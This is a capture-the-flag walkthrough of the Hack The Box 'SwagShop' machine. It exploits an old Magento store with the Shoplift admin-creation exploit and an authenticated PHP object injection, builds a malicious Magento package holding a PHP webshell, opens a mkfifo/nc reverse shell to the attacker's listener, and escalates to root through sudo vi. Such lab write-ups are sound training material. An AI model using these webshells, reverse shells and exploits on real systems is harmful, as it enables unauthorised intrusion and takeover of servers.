SwagShop was a nice beginner / easy box centered around a Magento online store interface. I’ll use two exploits to get a shell. The first is an authentication bypass that allows me to add an admin user to the CMS. Then I can use an authenticated PHP Object Injection to get RCE. I’ll also show how got RCE with a malicious Magento package. RCE leads to shell and user. To privesc to root, it’s a simple exploit of sudo vi.

Box Stats

Name: SwagShop
Release Date: 11 May 2019
Retire Date: 28 Sep 2019
OS: Linux
Base Points: Easy [20]
Rated Difficulty:
Radar Graph:
evilet 00 days, 00 hours, 50 mins, 50 seconds
Lemming 00 days, 01 hours, 17 mins, 40 seconds
Creator: ch4p



nmap shows ssh (tcp 22) and http (tcp 80):

root@kali# nmap -sT -p- --min-rate 10000 -oA scans/nmap-alltcp                                                                                                            
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 15:14 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 50.00% done; ETC: 15:14 (0:00:00 remaining)
Nmap scan report for
Host is up (0.100s latency).
Not shown: 63042 filtered ports, 2491 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 65.98 seconds
root@kali# nmap -sC -sV -p 80,22 -oA scans/nmap-scripts                                                                                                                   
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 15:15 EDT
Nmap scan report for
Host is up (0.10s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds

Based on the ssh and Apache Versions, the host is likely Ubuntu Xenial (16.04).

Website - TCP 80


Site is a Magento store for HTB:


Directory Brute Force

gobuster finds a bunch of paths, but all seems related to Magento.

root@kali# gobuster  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 50 -o scans/gobuster-root -u

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 50
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php
[+] Timeout      : 10s
2019/05/11 15:23:42 Starting gobuster
/index.php (Status: 200)
/media (Status: 301)
/includes (Status: 301)
/install.php (Status: 200)
/lib (Status: 301)
/app (Status: 301)
/js (Status: 301)
/api.php (Status: 200)
/shell (Status: 301)
/skin (Status: 301)
/cron.php (Status: 200)
/var (Status: 301)
/errors (Status: 301)
/downloader (Status: 301)
/mage (Status: 200)
2019/05/11 15:29:57 Finished


At the bottom of the page, I notice the copyright date of 2014:


That’s interesting, as if it’s that old, it should be vulnerable to a lot of exploits. Looing around at common Magento paths, I’ll see a different date on /index.php/admin/:


At /downloader/, I see a version number for Magento Connect Manager:


Note: /downloader/ has since been removed from this box, as a way to patch one of the RCE methods.

I can also check /RELEASE_NOTES.txt, but it only gives release notes up to version, and then it gives a url to visit for later version release notes, so this isn’t helpful:


All of this leads me to the conclusion that I don’t really know what version is running, but that I have a hunch that it could be older.

Shell as www-data

Add Admin Login

Looking at both Google and searchsploit, I’l find a bunch of exploits for Magento. First, I’ll use one called “shoplift” exploit to add an admin user. I’ll download the python script and run it:

root@kali# python poc.py
Check with creds ypwq:123  

I can verify these creds by logging in at


RCE #1 - PHP Object Injection

Now that I’m authenticated as administer, there’s another exploit that will come in handy that I found with searchsploit:

root@kali# searchsploit magento
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                                     |  Path
                                                                                                                                                                                   | (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting                                                                                 | exploits/php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting                                                                           | exploits/php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting                                                                                                                          | exploits/php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File                                                                                                                     | exploits/php/webapps/39838.php
Magento CE < - (Authenticated) Remote Code Execution                                                                                                                       | exploits/php/webapps/37811.py
Magento Server MAGMI Plugin - Multiple Vulnerabilities                                                                                                                             | exploits/php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion                                                                                                                        | exploits/php/webapps/35052.txt
Magento eCommerce - Local File Disclosure                                                                                                                                          | exploits/php/webapps/19793.txt
Magento eCommerce - Remote Code Execution                                                                                                                                          | exploits/xml/webapps/37977.py
eBay Magento - PHP FPM XML eXternal Entity Injection                                                                                                                       | exploits/php/webapps/38573.txt
eBay Magento CE - Unrestricted Cron Script (Code Execution / Denial of Service)                                                                                            | exploits/php/webapps/38651.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

After looking through these, the authenticated RCE python script looked the most interesting.

For background on this bug, it’s a PHP Object Injection vulnerability, detailed by one of the researchers who found it here. PHP Object Injection is a class of bugs that falls under deserialization vulnerabilities. Basically, the server passes a php object into the page, and when the browser submits back to the server, it sends that object as a parameter. To prevent evil users from messing with the object, Magento uses a keyed hash to ensure integrity. However, the key for the hash is the install data, which can be retrieved from /app/etc/local.xml. This means that once I have that date, I can forge signed objects and inject my own code, which leads to RCE.

I’ll make a copy of the POC from searchsploit:

root@kali# searchsploit -m exploits/php/webapps/37811.py
  Exploit: Magento CE < - (Authenticated) Remote Code Execution
      URL: https://www.exploit-db.com/exploits/37811
     Path: /usr/share/exploitdb/exploits/php/webapps/37811.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /root/hackthebox/swagstore-

I’ll rename to magento_rce.py, and open it up and take a look. In the config section, I’ll have to update 3 fields:

# Config.
username = 'ypwq'
password = '123'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

I got the date from the page as suggested:

root@kali# curl -s | grep date
            <date><![CDATA[Wed, 08 May 2019 07:23:09 +0000]]></date>

When I run it, I get an error:

root@kali# python magento_rce.py "uname -a"
Traceback (most recent call last):
  File "magento_rce.py", line 56, in <module>
    br['login[password]'] = password
  File "/usr/lib/python2.7/dist-packages/mechanize/_form.py", line 2780, in __setitem__
    control = self.find_control(name)
  File "/usr/lib/python2.7/dist-packages/mechanize/_form.py", line 3101, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/usr/lib/python2.7/dist-packages/mechanize/_form.py", line 3185, in _find_control
    raise ControlNotFoundError("no control matching "+description)
mechanize._form.ControlNotFoundError: no control matching name 'login[password]'

mechanize is a scriptable browser, and it’s complaining that there’s not login form with a password field. That’s because it’s trying to log into the base of the site. I’ll run it again, this time with the admin login page:

root@kali# python magento_rce.py '' "uname -a"
Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

RCE #2 - Magento Package

When the box was released, there was a second way to get RCE via uploading a Magento package. It seems this method has been patched in the current instance of the box, as /download is not longer there. I’ll show how I did it anyway, but you will not be able to replicate this part today.

From GitHub

This GitHub has a template for a malicious Magento package. I’ll download lavalamp_magento_bd.tgz, and upload it via


Now I can use the webshell it installs:

root@kali# curl -d 'c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

From Scratch

This post gives a good walkthrough for creating a malicious Magento package. I’ll create two files in the following structure:

root@kali# tree .
├── errors
│   └── cmd.php
└── package.xml

1 directory, 2 files


<?php system($_REQUEST['cmd']); ?>


<?xml version="1.0"?>
<summary>Backdoor for magento</summary>
<description>Backdoor for magento</description>
    <target name="mage">
            <dir name="errors">
                <file name="cmd.php" hash="c214a2fb80bab315fc328a5eff2892b5"/>

It is important that the hash is created correctly for the php file as follows:

root@kali# md5sum errors/cmd.php 
c214a2fb80bab315fc328a5eff2892b5  errors/cmd.php

Now I’ll use tar to package it up:

root@kali# tar -czvf package.tgz errors/ package.xml 
root@kali# ls
errors  package.tgz  package.xml

And upload the tgz file, and I have RCE through a webshell:

root@kali# curl
uid=33(www-data) gid=33(www-data) groups=33(www-data)


With either RCE, I can upgrade to a legit shell:

root@kali# python magento_rce.py '' "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9001 >/tmp/f"
root@kali# nc -lnvp 9001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

From there I can grab user.txt:

$ cat user.txt 

Privesc to root

Shell Upgrade

Now that I have a shell, I’ll upgrade it to a full tty which will allow me to run commands like su and vi, as well as tab completion and arrow keys. I don’t show this on every writeup, but I certainly do it every time I get a shell on Linux.

It’s difficult to show because the terminal gets cleared, but the steps are:

  1. python -c 'import pty;pty.spawn("/bin/bash")'. python3 works as well.
  2. Ctrl-z to background shell. At local prompt, stty raw -echo.
  3. fg to bring shell back to front.
  4. reset to reinitialize the terminal. If prompted for Terminal type, enter screen.
  5. In reset shell, export TERM=screen.

I can also use stty -a on my local shell to see the rows and columns. Then I can set it for the remote shell by running stty rows [#rows] columns [#columns]. This will allow things like vi or less to use the full screen.


sudo -l shows I can run sudo with no password on vi in the web dir:

www-data@swagshop:/home/haris$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

Read Flag

The fastest path to the flag is just to open it with vi. Based on the sudo output above, I’ll run:

www-data@swagshop:/$ sudo /usr/bin/vi /var/www/html/../../../root/root.txt

   ___ ___
 /| |/|\| |\
/_| ´ |.` |_\           We are open! (Almost)
  |   |.  |
  |   |.  |         Join the beta HTB Swag Store!
  |___|.__|       https://hackthebox.store/password

                   PS: Use root flag as password!
"/var/www/html/../../../root/root.txt" 10L, 270C


Of course I want a shell. I’ll open a non-existing file with www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/a .

GTFOBins’ vi page tells me how to get a shell from here:

:set shell=/bin/sh

I’ll use bash, but otherwise the same:

wc -c root.txt returns 270, but that’s because there’s an extra message with the flag:

root@swagshop:/home/haris# cat /root/root.txt 

   ___ ___
 /| |/|\| |\
/_| ´ |.` |_\           We are open! (Almost)
  |   |.  |
  |   |.  |         Join the beta HTB Swag Store!
  |___|.__|       https://hackthebox.store/password

                   PS: Use root flag as password!

More Direct Shell

I can also use the other example on GTFOBins, and get a shell from the command line:

www-data@swagshop:/var/www/html$ sudo vi /var/www/html/a -c ':!/bin/sh'

The formatting gets a bit wild on my shell making it difficult to show here, but it does return a root shell.